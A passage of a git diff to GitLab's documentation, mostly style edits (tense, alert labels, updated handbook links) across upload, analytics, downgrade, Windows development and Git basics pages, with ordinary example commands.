files as base64 encoded strings. This will require a change to GitLab Workhorse, which [is planned](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/226). +1. <i class="fa fa-times-circle"></i> **JSON**: some JSON API uploads files as base64 encoded strings. This requires a change to GitLab Workhorse, which [is planned](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/226). ## Uploading technologies @@ -166,7 +166,7 @@ is replaced with the path to the corresponding file before it is forwarded to Rails. To prevent abuse of this feature, Workhorse signs the modified request with a -special header, stating which entries it modified. Rails will ignore any +special header, stating which entries it modified. Rails ignores any unsigned path entries. ```mermaid @@ -220,8 +220,8 @@ In this setup, an extra Rails route must be implemented in order to handle autho and [its routes](https://gitlab.com/gitlab-org/gitlab/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/config/routes/git_http.rb#L31-32). - [API endpoints for uploading packages](packages.md#file-uploads). -This will fallback to _disk buffered upload_ when `direct_upload` is disabled inside the [object storage setting](../administration/uploads.md#object-storage-settings). -The answer to the `/authorize` call will only contain a file system path. +This falls back to _disk buffered upload_ when `direct_upload` is disabled inside the [object storage setting](../administration/uploads.md#object-storage-settings). +The answer to the `/authorize` call contains only a file system path. ```mermaid sequenceDiagram @@ -272,7 +272,7 @@ sequenceDiagram ## How to add a new upload route -In this section, we'll describe how to add a new upload route [accelerated](#uploading-technologies) by Workhorse for [body and multipart](#upload-encodings) encoded uploads. +In this section, we describe how to add a new upload route [accelerated](#uploading-technologies) by Workhorse for [body and multipart](#upload-encodings) encoded uploads. Uploads routes belong to one of these categories: @@ -280,7 +280,7 @@ Uploads routes belong to one of these categories: 1. Grape API: uploads handled by a Grape API endpoint. 1. GraphQL API: uploads handled by a GraphQL resolve function. -CAUTION: **Warning:** +WARNING: GraphQL uploads do not support [direct upload](#direct-upload) yet. Depending on the use case, the feature may not work on installations without NFS (like GitLab.com or Kubernetes installations). Uploading to object storage inside the GraphQL resolve function may result in timeout errors. For more details please follow [issue #280819](https://gitlab.com/gitlab-org/gitlab/-/issues/280819). ### Update Workhorse for the new route @@ -310,7 +310,7 @@ few things to do: 1. Generally speaking, it's a good idea to check if the instance is from the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) class. For example, see how we checked [that the parameter is indeed an `UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/commit/ea30fe8a71bf16ba07f1050ab4820607b5658719#51c0cc7a17b7f12c32bc41cfab3649ff2739b0eb_79_77). -CAUTION: **Caution:** +WARNING: **Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) instance using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params` passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) @@ -339,7 +339,7 @@ use `requires :file, type: ::API::Validations::Types::WorkhorseFile`. - The remaining code of the processing. This is where the code must be reading the parameter (for our example, it would be `params[:file]`). -CAUTION: **Caution:** +WARNING: **Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) object using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params` passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) diff --git a/doc/development/utilities.md b/doc/development/utilities.md index aca14507fcd..2d347df0559 100644 --- a/doc/development/utilities.md +++ b/doc/development/utilities.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab utilities @@ -100,7 +100,7 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi end ``` - Note that the check will only happen when either: + Note that the check only happens when either: - The overriding method is defined in a class, or: - The overriding method is defined in a module, and it's prepended to diff --git a/doc/development/ux_guide/users.md b/doc/development/ux_guide/users.md index 3aecbbffd73..a01aa4bcf35 100644 --- a/doc/development/ux_guide/users.md +++ b/doc/development/ux_guide/users.md @@ -1,5 +1,8 @@ --- -redirect_to: 'https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/' +redirect_to: 'https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/' --- -This document was moved to [another location](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/). +This document was moved to [another location](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/value_stream_analytics.md b/doc/development/value_stream_analytics.md index 4560a115562..b3692bd1d2c 100644 --- a/doc/development/value_stream_analytics.md +++ b/doc/development/value_stream_analytics.md @@ -1,7 +1,7 @@ --- stage: Manage group: Optimize -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Value Stream Analytics development guide @@ -32,7 +32,7 @@ These events play a key role in the duration calculation. Formula: `duration = end_event_time - start_event_time` -To make the duration calculation flexible, each `Event` is implemented as a separate class. They're responsible for defining a timestamp expression that will be used in the calculation query. +To make the duration calculation flexible, each `Event` is implemented as a separate class. They're responsible for defining a timestamp expression that is used in the calculation query. #### Implementing an `Event` class @@ -41,12 +41,12 @@ There are a few methods that are required to be implemented, the `StageEvent` ba - `object_type` - `timestamp_projection` -The `object_type` method defines which domain object will be queried for the calculation. Currently two models are allowed: +The `object_type` method defines which domain object is queried for the calculation. Currently two models are allowed: - `Issue` - `MergeRequest` -For the duration calculation the `timestamp_projection` method will be used. +For the duration calculation the `timestamp_projection` method is used. ```ruby def timestamp_projection @@ -92,7 +92,7 @@ Some start/end event pairs are not "compatible" with each other. For example: The `StageEvents` module describes the allowed `start_event` and `end_event` pairings (`PAIRING_RULES` constant). If a new event is added, it needs to be registered in this module. To add a new event: -1. Add an entry in `ENUM_MAPPING` with a unique number, it'll be used in the `Stage` model as `enum`. +1. Add an entry in `ENUM_MAPPING` with a unique number, which is used in the `Stage` model as `enum`. 1. Define which events are compatible with the event in the `PAIRING_RULES` hash. Supported start/end event pairings: @@ -185,19 +185,19 @@ Currently supported parents: 1. User navigates to the value stream analytics page. 1. User selects a group. 1. Backend loads the defined stages for the selected group. -1. Additions and modifications to the stages will be persisted within the selected group only. +1. Additions and modifications to the stages are persisted within the selected group only. ### Default stages The [original implementation](https://gitlab.com/gitlab-org/gitlab/-/issues/847) of value stream analytics defined 7 stages. These stages are always available for each parent, however altering these stages is not possible. -To make things efficient and reduce the number of records created, the default stages are expressed as in-memory objects (not persisted). When the user creates a custom stage for the first time, all the stages will be persisted. This behavior is implemented in the value stream analytics service objects. +To make things efficient and reduce the number of records created, the default stages are expressed as in-memory objects (not persisted). When the user creates a custom stage for the first time, all the stages are persisted. This behavior is implemented in the value stream analytics service objects. The reason for this was that we'd like to add the abilities to hide and order stages later on. ## Data Collector -`DataCollector` is the central point where the data will be queried from the database. The class always operates on a single stage and consists of the following components: +`DataCollector` is the central point where the data is queried from the database. The class always operates on a single stage and consists of the following components: - `BaseQueryBuilder`: - Responsible for composing the initial query. @@ -238,7 +238,7 @@ SELECT (START_EVENT_TIME-END_EVENT_TIME) as duration, END_EVENT.timestamp ## High-level overview - Rails Controller (`Analytics::CycleAnalytics` module): Value stream analytics exposes its data via JSON endpoints, implemented within the `analytics` workspace. Configuring the stages are also implements JSON endpoints (CRUD). -- Services (`Analytics::CycleAnalytics` module): All `Stage` related actions will be delegated to respective service objects. +- Services (`Analytics::CycleAnalytics` module): All `Stage` related actions are delegated to respective service objects. - Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `GroupStage`. - Feature classes (`Gitlab::Analytics::CycleAnalytics` module): - Responsible for composing queries and define feature specific business logic. @@ -248,7 +248,7 @@ SELECT (START_EVENT_TIME-END_EVENT_TIME) as duration, END_EVENT.timestamp Since we have a lots of events and possible pairings, testing each pairing is not possible. The rule is to have at least one test case using an `Event` class. -Writing a test case for a stage using a new `Event` can be challenging since data must be created for both events. To make this a bit simpler, each test case must be implemented in the `data_collector_spec.rb` where the stage is tested through the `DataCollector`. Each test case will be turned into multiple tests, covering the following cases: +Writing a test case for a stage using a new `Event` can be challenging since data must be created for both events. To make this a bit simpler, each test case must be implemented in the `data_collector_spec.rb` where the stage is tested through the `DataCollector`. Each test case is turned into multiple tests, covering the following cases: - Different parents: `Group` or `Project` - Different calculations: `Median`, `RecordsFetcher` or `DataForDurationChart` diff --git a/doc/development/verifying_database_capabilities.md b/doc/development/verifying_database_capabilities.md index fe60ec11bce..195e8c5c77e 100644 --- a/doc/development/verifying_database_capabilities.md +++ b/doc/development/verifying_database_capabilities.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Verifying Database Capabilities diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md index 18a2e17967a..63a7ea4dfbd 100644 --- a/doc/development/what_requires_downtime.md +++ b/doc/development/what_requires_downtime.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # What requires downtime? @@ -51,7 +51,7 @@ We require indication of when it is safe to remove the column ignore with: - `remove_with`: set to a GitLab release typically two releases (M+2) after adding the column ignore. - `remove_after`: set to a date after which we consider it safe to remove the column - ignore, typically last date of the development cycle of release M+2 - namely the release date. + ignore, typically after the M+1 release date, during the M+2 development cycle. This information allows us to reason better about column ignores and makes sure we don't remove column ignores too early for both regular releases and deployments to GitLab.com. For diff --git a/doc/development/wikis.md b/doc/development/wikis.md index f8bcaac2ec0..a2da4843eac 100644 --- a/doc/development/wikis.md +++ b/doc/development/wikis.md @@ -2,7 +2,7 @@ type: reference, dev stage: Create group: Knowledge -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: "GitLab's development guidelines for Wikis" --- diff --git a/doc/development/windows.md b/doc/development/windows.md index 2ca99508746..08ff29a4e58 100644 --- a/doc/development/windows.md +++ b/doc/development/windows.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -13,9 +13,9 @@ This is a guide for how to get a Windows development virtual machine on Google C ## Why Windows in Google Cloud? -Use of Microsoft Windows operating systems on company laptops is banned under GitLab's [Approved Operating Systems policy](https://about.gitlab.com/handbook/security/approved_os.html#windows). +Use of Microsoft Windows operating systems on company laptops is banned under the GitLab [Approved Operating Systems policy](https://about.gitlab.com/handbook/security/approved_os.html#windows). -This can make it difficult to develop features for the Windows platforms. Using GCP will allow us to have a temporary Windows machine that can be removed once we're done with it. +This can make it difficult to develop features for the Windows platforms. Using GCP allows us to have a temporary Windows machine that can be removed once we're done with it. ## Shared Windows runners @@ -74,7 +74,7 @@ Build a Google Cloud image with the above shared runners repository by doing the 1. Click **Set Windows password**. 1. Optional: Set a username or use default. 1. Click **Next**. -1. Copy and save the password as it won't be shown again. +1. Copy and save the password as it is not shown again. 1. Click **RDP** down arrow. 1. Click **Download the RDP file**. 1. Open the downloaded RDP file with the Windows remote desktop app (<https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-clients>). @@ -98,8 +98,8 @@ Here are a few tips on GCP and Windows. ### GCP cost savings -To minimise the cost of your GCP VM instance, stop it when you're not using it. -If you do, you'll need to re-download the RDP file from the console as the IP +To minimize the cost of your GCP VM instance, stop it when you're not using it. +If you do, you must download the RDP file again from the console as the IP address changes every time you stop and start it. ### chocolatey diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md index 2561ee875d2..3cbc68d61ed 100644 --- a/doc/downgrade_ee_to_ce/README.md +++ b/doc/downgrade_ee_to_ce/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Downgrading from EE to CE @@ -23,20 +23,8 @@ alternative authentication methods to your users. ### Remove Service Integration entries from the database -The `JenkinsService` and `GithubService` classes are only available in the Enterprise Edition codebase, -so if you downgrade to the Community Edition, you'll come across the following -error: - -```plaintext -Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms) - -ActionView::Template::Error (The single-table inheritance mechanism failed to locate the subclass: 'JenkinsService'. This -error is raised because the column 'type' is reserved for storing the class in case of inheritance. Please rename this -column if you didn't intend it to be used for storing the inheritance class or overwrite Service.inheritance_column to -use another column for that information.) -``` - -or +The `GithubService` class is only available in the Enterprise Edition codebase, +so if you downgrade to the Community Edition, the following error displays: ```plaintext Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms) @@ -49,22 +37,23 @@ use another column for that information.) All services are created automatically for every project you have, so in order to avoid getting this error, you need to remove all instances of the -`JenkinsService` and `GithubService` from your database: +`GithubService` from your database: **Omnibus Installation** ```shell -sudo gitlab-rails runner "Service.where(type: ['JenkinsService', 'GithubService']).delete_all" +sudo gitlab-rails runner "Service.where(type: ['GithubService']).delete_all" ``` **Source Installation** ```shell -bundle exec rails runner "Service.where(type: ['JenkinsService', 'GithubService']).delete_all" production +bundle exec rails runner "Service.where(type: ['GithubService']).delete_all" production ``` -NOTE: **Note:** -If you are running `GitLab =< v13.0` you need to also remove `JenkinsDeprecatedService` records. +NOTE: +If you are running `GitLab =< v13.0` you need to also remove `JenkinsDeprecatedService` records +and if you are running `GitLab =< v13.6` you need to also remove `JenkinsService` records. ### Variables environment scopes diff --git a/doc/gitlab-basics/README.md b/doc/gitlab-basics/README.md index 3850655aaed..b933cb873c8 100644 --- a/doc/gitlab-basics/README.md +++ b/doc/gitlab-basics/README.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" comments: false type: index --- @@ -46,4 +46,4 @@ These resources will help you get further acclimated to working on the command l - [Start using Git on the command line](start-using-git.md), for some simple Git commands. - [Command line basics](command-line-commands.md), to create and edit files using the command line. -More Git resources are available in GitLab's [Git documentation](../topics/git/index.md). +More Git resources are available in the GitLab [Git documentation](../topics/git/index.md). diff --git a/doc/gitlab-basics/add-file.md b/doc/gitlab-basics/add-file.md index 0b400d7fdb4..4afeb5ce83b 100644 --- a/doc/gitlab-basics/add-file.md +++ b/doc/gitlab-basics/add-file.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto --- diff --git a/doc/gitlab-basics/add-image.md b/doc/gitlab-basics/add-image.md index 11a4a6bbd97..8eb60f03877 100644 --- a/doc/gitlab-basics/add-image.md +++ b/doc/gitlab-basics/add-image.md @@ -3,3 +3,6 @@ redirect_to: 'add-file.md' --- This document was moved to [another location](add-file.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/add-merge-request.md b/doc/gitlab-basics/add-merge-request.md index 1ee28183ac8..a04bc5704e5 100644 --- a/doc/gitlab-basics/add-merge-request.md +++ b/doc/gitlab-basics/add-merge-request.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/merge_requests/creating_merge_requests.md' --- This document was moved to [another location](../user/project/merge_requests/creating_merge_requests.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/basic-git-commands.md b/doc/gitlab-basics/basic-git-commands.md index 4e0cc2de2bc..506fe89fc18 100644 --- a/doc/gitlab-basics/basic-git-commands.md +++ b/doc/gitlab-basics/basic-git-commands.md @@ -3,3 +3,6 @@ redirect_to: 'start-using-git.md' --- This document was moved to [another location](start-using-git.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/command-line-commands.md b/doc/gitlab-basics/command-line-commands.md index 1933b432138..d237fa940e3 100644 --- a/doc/gitlab-basics/command-line-commands.md +++ b/doc/gitlab-basics/command-line-commands.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto, reference --- @@ -59,14 +59,14 @@ nano README.md It's easy to delete (remove) a file or directory, but be careful: -DANGER: **Warning:** +WARNING: This will **permanently** delete a file. ```shell rm NAME-OF-FILE ``` -DANGER: **Warning:** +WARNING: This will **permanently** delete a directory and **all** of its contents. ```shell @@ -102,7 +102,7 @@ might be asked for an administrator password. sudo RESTRICTED-COMMAND ``` -CAUTION: **Caution:** +WARNING: Be careful of the commands you run with `sudo`. Certain commands may cause damage to your data or system. diff --git a/doc/gitlab-basics/create-branch.md b/doc/gitlab-basics/create-branch.md index 9e51a2749a6..c971ff7cb52 100644 --- a/doc/gitlab-basics/create-branch.md +++ b/doc/gitlab-basics/create-branch.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto --- diff --git a/doc/gitlab-basics/create-group.md b/doc/gitlab-basics/create-group.md index 8c0d3561882..f683b92af89 100644 --- a/doc/gitlab-basics/create-group.md +++ b/doc/gitlab-basics/create-group.md @@ -3,3 +3,6 @@ redirect_to: '../user/group/index.md#create-a-new-group' --- This document was moved to [another location](../user/group/index.md#create-a-new-group). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/create-issue.md b/doc/gitlab-basics/create-issue.md index 5fa5f1bf2e2..39e47690264 100644 --- a/doc/gitlab-basics/create-issue.md +++ b/doc/gitlab-basics/create-issue.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/issues/index.md#viewing-and-managing-issues' --- This document was moved to [another location](../user/project/issues/index.md#viewing-and-managing-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md index 415edce0d7d..30f467c2b12 100644 --- a/doc/gitlab-basics/create-project.md +++ b/doc/gitlab-basics/create-project.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto --- @@ -23,7 +23,7 @@ To create a project in GitLab: if enabled on your GitLab instance. Contact your GitLab administrator if this is unavailable. - Run [CI/CD pipelines for external repositories](../ci/ci_cd_for_external_repos/index.md). **(PREMIUM)** -NOTE: **Note:** +NOTE: For a list of words that can't be used as project names see [Reserved project and group names](../user/reserved_names.md). @@ -99,7 +99,7 @@ Available Enterprise templates include: - HIPAA Audit Protocol template ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10) -TIP: **Tip:** +NOTE: You can improve the existing built-in templates or contribute new ones in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates) and [`pages`](https://gitlab.com/pages) groups by following [these steps](https://gitlab.com/gitlab-org/project-templates/contributing). diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md index 2a59f10073f..98e01df7252 100644 --- a/doc/gitlab-basics/create-your-ssh-keys.md +++ b/doc/gitlab-basics/create-your-ssh-keys.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto --- @@ -24,7 +24,7 @@ In order to use SSH, you need to: To add the SSH public key to GitLab, see [Adding an SSH key to your GitLab account](../ssh/README.md#adding-an-ssh-key-to-your-gitlab-account). -NOTE: **Note:** +NOTE: Once you add a key, you can't edit it. If it did not paste properly, it [will not work](../ssh/README.md#testing-that-everything-is-set-up-correctly), and you need to remove the key from GitLab and try adding it again. diff --git a/doc/gitlab-basics/feature_branch_workflow.md b/doc/gitlab-basics/feature_branch_workflow.md index 0fe04e62f22..e02be390ab8 100644 --- a/doc/gitlab-basics/feature_branch_workflow.md +++ b/doc/gitlab-basics/feature_branch_workflow.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" disqus_identifier: 'https://docs.gitlab.com/ee/workflow/workflow.html' --- diff --git a/doc/gitlab-basics/fork-project.md b/doc/gitlab-basics/fork-project.md index 76685db8d7d..2f8cde2e1b7 100644 --- a/doc/gitlab-basics/fork-project.md +++ b/doc/gitlab-basics/fork-project.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: howto --- diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index b6192700d29..22b10c32434 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto, tutorial description: "Introduction to using Git through the command line." --- @@ -22,14 +22,14 @@ the command line and then push your changes to the remote server. This guide will help you get started with Git through the command line and can be your reference for Git commands in the future. If you're only looking for a quick reference of Git commands, you -can download GitLab's [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf). +can download the GitLab [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf). > For more information about the advantages of working with Git and GitLab: > > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video. > - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)’s development environment. -TIP: **Tip:** +NOTE: To help you visualize what you're doing locally, there are [Git GUI apps](https://git-scm.com/download/gui/) you can install. @@ -49,7 +49,7 @@ prompt, terminal, and command line) of your preference. Here are some suggestion - For macOS users: - Built-in: [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type "terminal" to find it. - - [iTerm2](https://www.iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users. + - [iTerm2](https://iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users. - For Windows users: - Built-in: **cmd**. Click the search icon on the bottom navbar on Windows and type "cmd" to find it. - [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7): a Windows "powered up" shell, from which you can execute a greater number of commands. @@ -104,7 +104,7 @@ If you omit `--global` or use `--local`, the configuration will be applied only repository. You can read more on how Git manages configurations in the -[Git Config](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration) documentation. +[Git configuration documentation](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration). ## Git authentication methods @@ -127,8 +127,8 @@ to our computer: Create one before cloning. - If you don't have 2FA enabled, use your account's password. -NOTE: **Note:** -Authenticating via SSH is GitLab's recommended method. You can read more about credential storage +NOTE: +Authenticating via SSH is the GitLab recommended method. You can read more about credential storage in the [Git Credentials documentation](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage). ## Git terminology @@ -183,7 +183,7 @@ changes to GitLab. This is referred to as **pushing** to GitLab, as this is achi [`git push`](#send-changes-to-gitlabcom). When the remote repository changes, your local copy will be behind it. You can update it with the new -changes in the remote repo. +changes in the remote repository. This is referred to as **pulling** from GitLab, as this is achieved by the command [`git pull`](#download-the-latest-changes-in-the-project). @@ -234,7 +234,7 @@ To clone `https://gitlab.com/gitlab-tests/sample-project/` via HTTPS: git clone https://gitlab.com/gitlab-tests/sample-project.git ``` -TIP: **Troubleshooting:** +NOTE: On Windows, if you entered incorrect passwords multiple times and GitLab is responding `Access denied`, you may have to add your namespace (user name or group name) to clone through HTTPS: `git clone https://namespace@gitlab.com/gitlab-org/gitlab.git`. @@ -280,7 +280,7 @@ To add a remote repository to your local copy: 1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>: ```shell - git remote add origin <git@gitlab.com:username/projectpath.git + git remote add origin git@gitlab.com:username/projectpath.git ``` After you've done that, you can [stage your files](#add-and-commit-local-changes) and [upload them to GitLab](#send-changes-to-gitlabcom). @@ -400,7 +400,7 @@ git add . git commit -m "COMMENT TO DESCRIBE THE INTENTION OF THE COMMIT" ``` -NOTE: **Note:** +NOTE: The `.` character means _all file changes in the current directory and all subdirectories_. ### Send changes to GitLab.com @@ -420,7 +420,7 @@ git push origin master On certain occasions, Git won't allow you to push to your repository, and then you'll need to [force an update](../topics/git/git_rebase.md#force-push). -NOTE: **Note:** +NOTE: To create a merge request from a fork to an upstream repository, see the [forking workflow](../user/project/repository/forking_workflow.md). @@ -453,7 +453,7 @@ git reset HEAD~1 This leaves the changed files and folders unstaged in your local repository. -CAUTION: **Warning:** +WARNING: A Git commit should not usually be reversed, particularly if you already pushed it to the remote repository. Although you can undo a commit, the best option is to avoid the situation altogether by working carefully. diff --git a/doc/img/devops-stages-13_3.png b/doc/img/devops-stages-13_3.png Binary files differdeleted file mode 100644 index 609533e12e7..00000000000 --- a/doc/img/devops-stages-13_3.png +++ /dev/null diff --git a/doc/install/README.md b/doc/install/README.md index 6b08bb28bbb..f0aee9b6927 100644 --- a/doc/install/README.md +++ b/doc/install/README.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false description: Read through the GitLab installation methods. type: index @@ -93,7 +93,7 @@ the above methods, provided the cloud provider supports it. - [Install on AWS](aws/index.md): Install Omnibus GitLab on AWS using the community AMIs that GitLab provides. - [Install GitLab on Google Cloud Platform](google_cloud_platform/index.md): Install Omnibus GitLab on a VM in GCP. - [Install GitLab on Azure](azure/index.md): Install Omnibus GitLab from Azure Marketplace. -- [Install GitLab on OpenShift](https://docs.gitlab.com/charts/installation/cloud/openshift.html): Install GitLab on OpenShift by using GitLab's Helm charts. +- [Install GitLab on 